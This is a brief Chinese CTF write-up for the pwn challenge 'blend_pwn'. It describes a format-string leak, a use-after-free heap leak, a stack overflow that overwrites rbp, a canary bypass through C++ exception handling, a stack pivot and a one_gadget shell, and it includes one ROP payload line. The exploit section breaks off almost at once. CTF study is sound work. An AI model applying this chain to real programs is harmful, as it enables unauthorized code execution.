blend_pwn
思路
利用格式化字符串漏洞泄漏程序的基址
申请两个堆块,利用UAF泄漏出堆的地址heap,并且在一个堆块上布置好数据(第三部结束后程序栈会跳到这里来执行)
1
2payload0 = 0x10*b'a'+p64(bss)+p64(rdi)+p64(t+pelf.got['puts'])+p64(
t+pelf.plt['puts'])+p64(rdi)+p64(bss)+p64(wu)+p64(leave)+p64(bss)
利用栈溢出写入main函数的rbp为heap上的地址,利用try,catch的机制跳转到主函数中的catch执行并绕过canary并且利用之前写入的rbp将栈帧易到我们控制的heap上
利用布置好的数据,获得libc的地址,并且在bss段上(name的位置)写入onegadget地址
利用同样的方法跳转栈帧到bss上,并执行one_gadget获得shell
EXP
1 | ''' |